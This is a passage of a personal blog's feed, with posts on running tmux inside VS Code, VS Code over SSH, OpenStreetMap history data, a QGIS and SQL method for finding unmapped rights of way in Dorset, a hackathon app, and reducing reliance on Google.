&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;icon&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;terminal-tmux&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;terminal.integrated.defaultProfile.linux&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;tmux&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This creates a new terminal profile called &lt;code&gt;tmux&lt;/code&gt;,
and sets it as the default profile &amp;ndash; meaning whenever you open the integrated terminal,
it will run the command specified.
In this case it runs &lt;code&gt;bash&lt;/code&gt;, with the command &lt;code&gt;tmux new -ADs ${PWD##*/}&lt;/code&gt;.
This will create a new tmux session with the name of the current working directory,
or attach to an existing session if one exists.
The &lt;code&gt;-D&lt;/code&gt; flag ensures that only one terminal is connected to a session at a time.
The way that this works for me is that I will then have tmux sessions for each of my workspace folders,
then when needed I will create extra tabs in the tmux sessions.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_1208e3a84b7ef9c0.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_ed4564d006cfd633.webp 320w, https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_d3cc0fb18a67581f.webp 640w, https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_8fc3304b72e021c5.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/vs-code-and-tmux/images/workspace_hu_f7ef5aa9e8bb50a4.jpg'
width="1188"
height="798"
loading="lazy"
alt='VS Code using tmux'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;There is a bit of jankiness here,
in that instead of just running &lt;code&gt;tmux new -ADs ${workspaceFolderBasename}&lt;/code&gt;,
we have to use a shell parameter expansion.
This is because in a multi-folder workspace,
&lt;a href="https://code.visualstudio.com/docs/editor/variables-reference#_predefined-variables"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;${workspaceFolderBasename}&lt;/code&gt;&lt;/a&gt; doesn&amp;rsquo;t respect the folder I selected to open the terminal in
&amp;ndash; it always uses the folder of the currently open file.
We can emulate what I think &lt;code&gt;${workspaceFolderBasename}&lt;/code&gt; should return using &lt;code&gt;${PWD##*/}&lt;/code&gt;, which produces the basename of the current working directory.
This produces the desired effect of a separate tmux session for each of my workspace folders.&lt;/p&gt;
&lt;p&gt;I still use this setup when I&amp;rsquo;m working in VS Code locally,
as it means I can close it when done for the day,
and then when I reopen it the next day I&amp;rsquo;ll still have all my terminals open.
One amusing side effect of this workflow is that it seems to prevent the OOM killer from closing my terminal sessions,
only striking down VS Code itself.&lt;/p&gt;
&lt;p&gt;You will probably want to configure tmux a little to make it more usable,
like rebinding the prefix to &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;a&lt;/code&gt; (&lt;code&gt;set -g prefix C-a&lt;/code&gt;) and turning on mouse mode (&lt;code&gt;set -g mouse on&lt;/code&gt;).
One thing to watch out for with mouse mode is that it will use tmux&amp;rsquo;s copy paste buffers,
which are still a bit of a mystery to me.
Luckily if you hold shift while selecting text it bypasses tmux&amp;rsquo;s buffers,
so you can &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;c&lt;/code&gt; &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;v&lt;/code&gt; like usual.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Specifically for Minecraft.
You can use a more standard approach like a systemd service,
but Minecraft servers sometimes need to be controlled via their &lt;code&gt;stdin&lt;/code&gt;.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Visual Studio Code over SSH</title><link>https://george.honeywood.org.uk/blog/vs-code-over-ssh/</link><pubDate>Sat, 18 Dec 2021 15:20:00 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/vs-code-over-ssh/</guid><description>&lt;p&gt;I&amp;rsquo;ve recently had an opportunity to do some work away from home. I&amp;rsquo;ve never worked on anything other than my desktop PC before. I do have a decently capable laptop, but it has limited RAM and storage &amp;ndash; and hence it is not really suited to running multiple Node.js servers and various Docker containers; let alone the significant faff to get everything set up on my laptop as it is on my desktop PC.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_f972c5e0304fbd5f.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_ee1cf8a8178798f0.webp 320w, https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_d7c3a90b22918bb.webp 640w, https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_2377c04ea8cc3fa6.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/vs-code-over-ssh/images/vscode_hu_e0aa1535ac5f93f3.jpg'
width="1023"
height="796"
alt='VS Code being used remotely'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;To suit this end, Visual Studio Code has a very nice feature that I&amp;rsquo;ve been appreciating &amp;ndash; you can connect to a remote instance of VS Code running on any machine you can SSH into. All of this happens automatically, just install the &lt;a href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh"
target="_blank" rel="noreferrer noopener"
&gt;Remote - SSH&lt;/a&gt; extension, add a target in the &amp;ldquo;Remote Explorer&amp;rdquo;, and it will install an instance of VS Code on the remote machine. As soon as it has downloaded some files, you will be working on your remote machine just as if it were local.&lt;/p&gt;
&lt;p&gt;You can open terminals, and they will be on the remote machine, as you&amp;rsquo;d expect. It even does some &lt;code&gt;stdout&lt;/code&gt; parsing to automatically forward ports to your local machine when you run a server. All of this makes for an impressively seamless experience. The only small bit of jank is that you need to install extensions you already have locally on the remote, but the button to replicate your local set practically remediates this.&lt;/p&gt;
&lt;p&gt;It works on pretty tiny machines. This is being written on a VPS in Italy with a single vCPU and 1GB of RAM. The disk requirements are likewise pretty minimal, only taking up ~360MB, most of which is two (?) Node.js binaries. Writing some markdown and running &lt;code&gt;hugo -D&lt;/code&gt; is something my laptop is capable of, so this is a bit of a pointless use case, but I think the technology is really cool.&lt;/p&gt;</description></item><item><title>Complicated history</title><link>https://george.honeywood.org.uk/blog/complicated-history/</link><pubDate>Sun, 20 Jun 2021 11:41:00 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/complicated-history/</guid><description>&lt;p&gt;I&amp;rsquo;ve been working on a tool that takes an OpenStreetMap history file and creates a database with every version of the way that has existed.
On the surface it looks like you just need to save each of the ways &lt;a href="https://www.openstreetmap.org/way/4527617/history"
target="_blank" rel="noreferrer noopener"
&gt;versions&lt;/a&gt;,
but it is a little more nuanced than this. OSM&amp;rsquo;s data structure doesn&amp;rsquo;t make this very convenient.
Ways get a new version number whenever nodes are added or removed from them
&amp;ndash; but do not if their component nodes change location.
For example if you have a building,
you can move the entire building by moving its existing constituent nodes,
without creating a new version of the way.&lt;/p&gt;
&lt;p&gt;This means that to get all geometries of a way you first have to cache which nodes make up a way in each of its versions,
then check if these nodes get a new version in between each of the ways versions,
so that you can store the ways geometries where just nodes moved.
Ideally for my use case,
the way would be updated whenever one of its nodes moves,
and instead of a way containing a list of references to node ids,
the reference would be to a specific version of that node&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;.
This would make it much simpler to piece together all of the geometries that a way has had,
as you wouldn&amp;rsquo;t have to solve the non trivial problem of figuring out which versions of nodes made up the way at that time.&lt;/p&gt;
&lt;p&gt;Granted for the much more common usecase of just looking at a &lt;em&gt;single&lt;/em&gt; point in OSM history,
it is trivial to generate a snapshot of OSM data
&amp;ndash; you just have to take the latest version of every non-deleted element before your desired time. This can be done nicely using osmium-tool&amp;rsquo;s &lt;code&gt;time-filter&lt;/code&gt; command.&lt;/p&gt;
&lt;h3 id="2022-08-edit"&gt;2022-08 edit&lt;/h3&gt;
&lt;p&gt;So I realised this is actually a bit more complicated than I previously thought.
With relations there is a similar issue to ways
&amp;ndash; you can move or update the underlying members of a relation,
without updating the relation itself.&lt;/p&gt;
&lt;p&gt;For example if a building with a courtyard is represented by a multipolygon relation,
you can change the landuse of the courtyard,
without creating a new version of the relation.
This is because the tags only change on the courtyard way, not the relation itself.
You will get a new relation version if you change the tags on the relation, alter the members, or change the roles of members.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;This would probably have a slightly undesirable side-effect:
big relations (like country boundaries) would get versioned each time they are adjusted, leading to extremely high version numbers.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Measuring PRoW completeness</title><link>https://george.honeywood.org.uk/blog/prow-completeness/</link><pubDate>Wed, 12 May 2021 11:46:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/prow-completeness/</guid><description>&lt;p&gt;Recently I stumbled upon on a &lt;a href="https://wiki.openstreetmap.org/wiki/Contributors"
target="_blank" rel="noreferrer noopener"
&gt;page&lt;/a&gt; on the OpenStreetMap wiki which details some of the significant non-volunteer sources for OSM&amp;rsquo;s data (and takes an amusingly long time to load). Near the bottom I discovered that Dorset (my Local Authority) publishes an OGLv3 licensed dataset of public rights of way (PRoWs) within its boundaries, including public footpaths, bridleways, restricted byways, and the rare BOAT (byway open to all traffic). These, somewhat confusingly, do not directly overlap with OpenStreetMap&amp;rsquo;s normal tagging schemes, as a PRoW may be part of a service road, residential road or a cycleway for example. To address this need another &lt;a href="https://wiki.openstreetmap.org/wiki/Access_provisions_in_the_United_Kingdom#Public_Rights_of_Way"
target="_blank" rel="noreferrer noopener"
&gt;wiki page&lt;/a&gt; details a schema for tagging this extra information, using &lt;code&gt;designation=public_${xyz}&lt;/code&gt; and &lt;code&gt;prow_ref=${yzx}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the shapefile in QGIS I found that quite a significant number of the paths had not been added to OSM. I think a large part of the disparity is due to that a significant portion of the rights of way are not in a usable state, or a more convenient permissive route is present. However, I think it is still important to include this data in OpenStreetMap as more paths to explore is always good. When I find one such unusable path, usually by looking at the Strava Heatmap I tend to map the route anyway and then add &lt;code&gt;highway=no&lt;/code&gt; to indicate that the route is impassable. When the chosen route of the public deviates a little from the public footpath I will tend to adjust the official route to the well used one, especially if it is obvious that the definitive version is unusable. If the actual footpath is far away from where it should be I normally draw the actual route seperate from the right of way, tagging both respectively.&lt;/p&gt;
&lt;p&gt;In order to help me determine which PRoWs were missing I used QGIS to analyse the data, with the following methodology (bear in mind I am a complete amateur at GIS):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download the &lt;code&gt;.osm.pbf&lt;/code&gt; file for Dorset from Geofabrik, for comparing it to the PRoW dataset.&lt;/li&gt;
&lt;li&gt;Use &lt;a href="https://osmcode.org/osmium-tool/"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;osmium&lt;/code&gt;&lt;/a&gt; to filter the &lt;code&gt;.pbf&lt;/code&gt; to only include specify highway tags that are likely to support a PRoW, such as &lt;code&gt;highway=footway&lt;/code&gt;, &lt;code&gt;highway=service&lt;/code&gt;, &lt;code&gt;highway=residential&lt;/code&gt; and so on.&lt;/li&gt;
&lt;li&gt;Import the datasets into QGIS, reprojecting into a different CRS if necessary.&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectorgeometry.html#points-along-geometry"
target="_blank" rel="noreferrer noopener"
&gt;points along geometry&lt;/a&gt; tool to place points at a regular interval (I used 25m) on both the OSM and PRoW datasets. This is to ensure that straight sections of line still contain vertices, which is important for the next step of analysis.&lt;/li&gt;
&lt;li&gt;Employ the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectoranalysis.html#distance-to-nearest-hub-points"
target="_blank" rel="noreferrer noopener"
&gt;hub to hub distance&lt;/a&gt; tool to find the nearest node in OSM from each node in the PRoW, which is done by setting the PRoWs as the source, and OSM as the destination. We can&amp;rsquo;t use the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectorgeneral.html#qgisjoinbynearest"
target="_blank" rel="noreferrer noopener"
&gt;join attributes by nearest&lt;/a&gt; tool for this as it works based on line centeroids, which may be completely different in the datasets. For example, if a public footpath begins halfway up the length of a residential road and then they end at the same point, their centeroids will be quite far apart, despite their significant overlap and hence will not conflate.&lt;/li&gt;
&lt;li&gt;Add a virtual layer, I called mine &lt;code&gt;missing_prow_list&lt;/code&gt;. This will allow you to write arbitrary SQL to create a list of the missing PRoWs route codes. I ended up using something like the below &amp;ndash; this will select any rights of way which are on average more than 40m away from a &lt;code&gt;highway=*&lt;/code&gt; in OSM:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-SQL" data-lang="SQL"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; route_code, &lt;span style="color:#66d9ef"&gt;AVG&lt;/span&gt;(hub_to_hub_dist) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; avg_hub_dist,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; prow_dataset_distances
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;GROUP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;BY&lt;/span&gt; route_code
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;HAVING&lt;/span&gt; avg_hub_dist &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Use another virtual layer to get the actual geometries out of the original PRoW lines, using a join:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-SQL" data-lang="SQL"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; route_code, designation, geometry
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; prow_dataset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;INNER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;JOIN&lt;/span&gt; missing_prow_list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; missing_prow_list.route_code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; prow_dataset.route_code
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Select your second virtual layer in QGIS and export it as a shapefile. This can then be imported into JOSM, or any editor of your choice, then manually merged into OpenStreetMap after being tagged up appropriately; hint, this is by far the hardest step.&lt;/li&gt;
&lt;li&gt;Job done :)&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_edec0f6bee120784.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_fd6ed5bcf3ca70fd.webp 320w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_3e784e450b21acd4.webp 640w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_6cb73c6b9d2af9b.webp 960w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_ed0be3a27620afdf.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_5e45b169f28f7003.jpg'
width="1608"
height="1173"
loading="lazy"
alt='Missing rights of ways in Dorset'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_8dbd43583f4e508.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_ece8ce2bfdd9c162.webp 320w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_e2ebd0bae11f8527.webp 640w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_9079e67d181a072c.webp 960w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_b03aa8d0df59d305.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_5f3c2c9df2fac8e1.jpg'
width="1612"
height="1173"
loading="lazy"
alt='Heatmap of missing PRoWs'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;This method is not perfect as it will miss smaller footpaths (such as those that join two roads only a short distance apart) and hence it is more useful for rural areas. On the other hand it seems to rarely produce false positives.&lt;/p&gt;
&lt;p&gt;Ideally when OSM has further matured this will become simpler, as we could just compare the list of PRoW route codes to the &lt;code&gt;prow_ref=*&lt;/code&gt; tags. Unfortunately it seems a significant amount of PRoWs haven&amp;rsquo;t been given this tag yet, meaning it is not yet viable due to the number of false positives.&lt;/p&gt;
&lt;p&gt;Let me know if you have any ideas on how to compare OSM to other datasets :)&lt;/p&gt;</description></item><item><title>ecothon!</title><link>https://george.honeywood.org.uk/blog/ecothon/</link><pubDate>Fri, 12 Feb 2021 11:46:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/ecothon/</guid><description>&lt;h2 id="demo"&gt;demo&lt;/h2&gt;
&lt;p&gt;Last weekend I took part in a hackathon with 3 of my housemates. We decided to make a social network app that inspires people to live a more eco-concious lifestyle. It has a concept of achievements, which are simple changes or tasks that people can make to reduce their environmental impact.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_a6d4128abef763e7.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_2ad7640f3ca5be67.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_d58915b20846ec4f.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_91e14d23cc178031.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_e48b325132cd527e.jpg'
width="1080"
height="1920"
alt='An example of an achievement'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can either privately complete an achievement, or publicly create a post linked to that specific achievement. Either of these will add to your &amp;ldquo;carbon score&amp;rdquo;, which is displayed on a leaderboard against people you are following.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_2e12b49f7c7830ff.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_bd4b5025d3e80a05.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_d3ade6ee20645276.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_53b6b6148c66ed63.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_933b6976cc0960e6.jpg'
width="1062"
height="1035"
loading="lazy"
alt='Leaderboard comparing your achievements to others'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can also like and comment on posts, or view a map of where posts were made from. As you can see we don&amp;rsquo;t get out of the house much&amp;hellip;&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/map_hu_1c18a9a2b5777e59.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/map_hu_89d6029f5d55b3d.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/map_hu_726783ecdd33571b.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/map_hu_91c8f10dbb49069d.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/map_hu_b761d37b35585432.jpg'
width="1076"
height="1119"
loading="lazy"
alt='Map showing where posts were made from'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The app opens to a feed, showing all the posts that have been made in your area. These are normally associated with an image, but it is possible to make a post without one.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_9134e2a4025efcf6.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_23ff552125257324.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_df6f47b9c4f183c6.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_a14846acc9a655d4.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_33da8d7588f37ed6.jpg'
width="1080"
height="1920"
loading="lazy"
alt='Feed showing posts from your area'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;h2 id="how-it-works"&gt;how it works&lt;/h2&gt;
&lt;p&gt;The app itself was made using Flutter, a cross platform UI toolkit &amp;ndash; theoretically it should work on mobile, desktop and web. However we only tested it on Android, and I&amp;rsquo;m not sure quite how theoretical Flutter&amp;rsquo;s support for the others is.&lt;/p&gt;
&lt;p&gt;We made the backend in Go, using &lt;code&gt;go-fiber&lt;/code&gt; as a framework. None of us had properly used Go before and it was a good introduction to it. I really like it so far, other than having to get used to things that would take one line on Python take up 2 or more, to handle functions returning &lt;code&gt;error&lt;/code&gt; alongside their results. There is the obvious upside to this that you actually have to think about handling these errors, encouraging correct code. It also means Go is unencumbered by exceptions being thrown all over the place, part of why it is so fast.&lt;/p&gt;
&lt;p&gt;The backend is hosted on Digital Ocean, as I happened to have $100 of free credit. I set up Github actions to automatically build a docker image and push it to Digital Ocean&amp;rsquo;s container registry. The workflow then logs into their Kubernetes platform, deploying the new version by updating the config so that the latest push to &lt;code&gt;master&lt;/code&gt; is deployed.&lt;/p&gt;
&lt;p&gt;We run two nodes in the cluster, with traffic split between them using a load balancer (which is completely unnecessary for the level of traffic). User images are uploaded to their equivalent of S3, and the data is all stored in a MongoDB instance hosted by Atlas. As I&amp;rsquo;d never used it before, setting up Kubernetes was a fairly large learning curve, but tutorials like &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-deploy-resilient-go-app-digitalocean-kubernetes"
target="_blank" rel="noreferrer noopener"
&gt;this one&lt;/a&gt; really helped get us up and running fairly quickly.&lt;/p&gt;
&lt;h2 id="github-repository"&gt;github repository&lt;/h2&gt;
&lt;p&gt;You can see the repository &lt;a href="https://github.com/JoeRourke123/ecothon"
target="_blank" rel="noreferrer noopener"
&gt;here,&lt;/a&gt; or even try it out if you are feeling brave &amp;ndash; you can download an APK from the Github releases.&lt;/p&gt;</description></item><item><title>De-Googling myself</title><link>https://george.honeywood.org.uk/blog/de-googling/</link><pubDate>Wed, 09 Sep 2020 12:36:38 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/de-googling/</guid><description>&lt;p&gt;A couple of years ago I decided that it would be a great idea if I tried to remove as much Google from my life as possible. I think the reason behind this is that I was slightly afraid as to what Google was getting up to with my data, but also I enjoy fiddling with hosting my own stuff. Google&amp;rsquo;s expansive software graveyard isn&amp;rsquo;t exactly a big selling point either. Using Firefox was an obvious first step, as it works just as well as Chrome for me, and I think multiple different browser engines are an important part of keeping the web open and accessible for everyone.&lt;/p&gt;
&lt;p&gt;The easiest thing for me to give up was Google Search. One day I set DuckDuckGo to my default in Firefox and pretty much never had any problems with it. Very occasionally I&amp;rsquo;ll struggle to find something, and I&amp;rsquo;ll use the Google bang (&lt;code&gt;!g &amp;lt;search term&amp;gt;&lt;/code&gt;) to get there.&lt;/p&gt;
&lt;p&gt;The first big step in the purge was GMail. I can imagine for most people this would probably be the worst part, simply because changing your email address &amp;ndash; something you&amp;rsquo;ve probably been using for years &amp;ndash; is a massive pain. After some research I settled on FastMail as a provider, due to their support for wildcard addresses. I like to give each website/service I sign up for a different email, for example &lt;code&gt;reddit@example.com&lt;/code&gt; or &lt;code&gt;microsoft@example.com&lt;/code&gt; &amp;ndash; this means if a company decides to send me spam, all I have to do is to send all email for that address to the bin. Another benefit of this approach is that you can create mail sorting rules in a foolproof way, i.e. if a business starts to use another domain for its emails they will still make their way into their correct IMAP folders. Its not the cheapest service, and I don&amp;rsquo;t think paid email is for everyone, but it presents enough value for me (although I am considering moving to Migadu).&lt;/p&gt;
&lt;p&gt;Something that I&amp;rsquo;ve struggled with is Google Photos. Irritatingly this is probably the most invasive service that Google provides &amp;ndash; other than maybe the always-on location tracking. Its just so convenient for me, I use it to store all pictures ever taken my anyone&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; in my family. It also provides some piece of mind, just as another backup. I&amp;rsquo;d happily self host a solution like it, just as far as I know nothing quite like it exists yet.&lt;/p&gt;
&lt;p&gt;Plex has the ability to display photo libraries, but it feels like a bit of a second class feature compared to the meat of their product &amp;ndash; self hosting your film and television à la Netflix. Rather irritatingly the automatic photo upload feature is paywalled, but its not a massive problem as I use Syncthing to achieve a similar result. Apparently its syncing is a little half baked anyway. This has become a more pressing issue now that Google is going to start limiting uploads to Photos, even though it&amp;rsquo;ll probably take me a year or so to fill my quota.&lt;/p&gt;
&lt;p&gt;YouTube was also difficult. It would really make me happy to avoid it, but it currently has no real competitors, which I think is something that will become more of a problem in the years to come. I suppose the end goal is something like &lt;a href="https://peer.tube/"
target="_blank" rel="noreferrer noopener"
&gt;PeerTube&lt;/a&gt;, which is a federated streaming platform, with its own users providing a CDN for its content. However I&amp;rsquo;m not entirely sure that that model is sustainable enough to compete with a giant like Google, as the amount of storage required is still massive.&lt;/p&gt;
&lt;p&gt;With Android I have come to a compromise, using LineageOS instead of the stock ROM on my phone. I also much prefer using F-Droid whenever possible over the Google Play Store, but I haven&amp;rsquo;t gone as far to completely avoid Google Play Services yet. MicroG seems like a good solution, but I haven&amp;rsquo;t gotten round to testing it out yet.&lt;/p&gt;
&lt;p&gt;This is not something I&amp;rsquo;d recommend for everyone, simply because it is not really worth the struggle of detangling yourself from Google&amp;rsquo;s tentacles, unless its something that you really believe is important. I&amp;rsquo;ll probably update&lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt; this page eventually with my progress, which has rather depressingly slowed recently.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Even the slightly scary childhood videos&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
